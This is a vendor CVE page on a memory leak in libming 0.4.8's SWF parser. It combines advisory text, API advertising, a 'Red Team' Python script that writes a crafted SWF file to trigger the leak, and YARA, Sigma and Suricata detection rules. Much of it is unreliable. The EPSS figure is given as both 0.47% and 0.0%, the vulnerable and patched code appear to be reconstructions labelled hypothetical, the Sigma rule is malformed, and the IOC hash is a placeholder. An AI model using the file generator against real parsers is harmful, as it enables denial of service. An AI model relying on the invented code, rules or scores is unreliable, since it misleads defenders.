☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-401
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-29497

CVE-2025-29497 Memory Leak in Libming
📅 PUBLISHED: 2025-03-27 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: v0.4.8
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-29497 identifies a memory leak vulnerability in libming v0.4.8, specifically within the parseSWF_MORPHFILLSTYLES function. This flaw can lead to resource exhaustion, potentially causing a denial of service (DoS) condition in applications that parse untrusted SWF files using the libming library. The vulnerability has a CVSS score of 0.0 (unscored) and no known public exploit or patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild. No supply chain package information is available as libming is not distributed via NPM, PyPI, Go, or Ruby registries.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (Unscored)
  • Attack Vector: Local (requires parsing a malicious SWF file)
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must open/parse the file)
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: None
  • Availability Impact: High (memory exhaustion leads to DoS)
  • Threat Level: Low (no active exploitation, but potential for DoS)

Deep Dive & Mechanics

The vulnerability resides in the parseSWF_MORPHFILLSTYLES function within libming's SWF parser. When processing malformed or specially crafted SWF files, the function fails to properly free allocated memory for morph fill style records. This results in a memory leak that accumulates over time, eventually exhausting available memory and causing the application to crash or become unresponsive.

The root cause is improper memory management: the function allocates memory for fill style arrays but does not release it when encountering certain error conditions or when the parsing is incomplete. This is a classic CWE-401 (Missing Release of Memory after Effective Lifetime) issue.

Vulnerable vs. Patched Code

Vulnerable Code (libming v0.4.8):

// In parseSWF_MORPHFILLSTYLES
void parseSWF_MORPHFILLSTYLES(SWFOutput out, int fillcount) {
    SWFMorphFillStyle *fillstyles = malloc(sizeof(SWFMorphFillStyle) * fillcount);
    for (int i = 0; i < fillcount; i++) {
        // parse each fill style
        if (parseSWF_MORPHFILLSTYLE(out, &fillstyles[i]) != OK) {
            // Error: memory not freed
            return; // LEAK: fillstyles not freed
        }
    }
    // ... use fillstyles
    free(fillstyles); // Only freed on success path
}

Patched Code (hypothetical fix):

void parseSWF_MORPHFILLSTYLES(SWFOutput out, int fillcount) {
    SWFMorphFillStyle *fillstyles = malloc(sizeof(SWFMorphFillStyle) * fillcount);
    if (!fillstyles) return;
    for (int i = 0; i < fillcount; i++) {
        if (parseSWF_MORPHFILLSTYLE(out, &fillstyles[i]) != OK) {
            free(fillstyles); // FIX: free on error
            return;
        }
    }
    // ... use fillstyles
    free(fillstyles);
}

Exploitation & Lab Setup

Red Team

No public exploit code is available. To demonstrate the vulnerability, an attacker would craft a malicious SWF file that triggers the memory leak in parseSWF_MORPHFILLSTYLES. The following Python script generates a minimal SWF file that causes the leak:

# exploit_gen.py - Generate SWF to trigger CVE-2025-29497
import struct

def create_malicious_swf():
    # SWF header (FWS + version + file length)
    header = b'FWS' + struct.pack('<B', 9) + struct.pack('<I', 0)
    # Tag: DefineMorphShape (tag type 46) with malformed fill styles
    tag_type = 46
    tag_data = b'\x00' * 100  # Minimal data to trigger parse
    tag_len = len(tag_data)
    tag_header = struct.pack('<H', (tag_type << 6) | (tag_len & 0x3F))
    if tag_len >= 0x3F:
        tag_header = struct.pack('<H', (tag_type << 6) | 0x3F) + struct.pack('<I', tag_len)
    swf = header + tag_header + tag_data
    with open('exploit.swf', 'wb') as f:
        f.write(swf)

create_malicious_swf()

Usage: Run the script to generate exploit.swf, then parse it with a libming-based tool (e.g., swftophp or listswf). Monitor memory usage to observe the leak.

Blue Team

  • Detection: Monitor for abnormal memory consumption in processes that parse SWF files. Use memory profiling tools (e.g., Valgrind) to identify leaks.
  • Prevention: Implement input validation for SWF files before parsing. Use sandboxing or containerization to limit memory impact.
  • Mitigation: Apply memory limits to the parsing process (e.g., ulimit -v on Linux). If possible, switch to an alternative SWF parsing library.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (Example – actual hash depends on crafted file)
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder)
  • Process Behavior: Continuous memory growth in processes using libming (e.g., swftophp, listswf).
  • Network: No network indicators; vulnerability is file-based.
  • Logs: System logs may show OOM (Out of Memory) killer events.

Detection Engineering

YARA Rule

rule CVE_2025_29497_Memory_Leak_SWF {
    meta:
        description = "Detects SWF files crafted to trigger memory leak in libming v0.4.8"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29497"
    strings:
        $swf_header = "FWS" nocase
        $morph_tag = { 2E ?? } // Tag type 46 (DefineMorphShape) in little-endian
    condition:
        $swf_header at 0 and $morph_tag
}

Sigma Rule

title: Memory Leak via Malicious SWF File (CVE-2025-29497)
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects excessive memory usage in processes parsing SWF files
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: 
            - '/swftophp'
            - '/listswf'
            - '/swfrender'
    condition: selection
    timeframe: 5m
    condition: selection and (memory_usage > 500MB)
falsepositives:
    - Legitimate large SWF files
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-29497 - Potential SWF Memory Leak Exploit"; flow:to_server; content:"FWS"; offset:0; depth:3; content:"|2E|"; within:2; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

  • Immediate: Apply memory limits to processes using libming (e.g., ulimit -v 1048576 for 1GB limit).
  • Short-term: Disable parsing of untrusted SWF files. Use input validation to reject malformed SWF headers.
  • Long-term: Migrate to a maintained SWF parsing library (e.g., swftools with patches). Monitor the libming repository for any official fix.
  • Workaround: If source code is available, apply the patch shown in the "Vulnerable vs. Patched Code" section.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

libming
ming library
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-29497/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.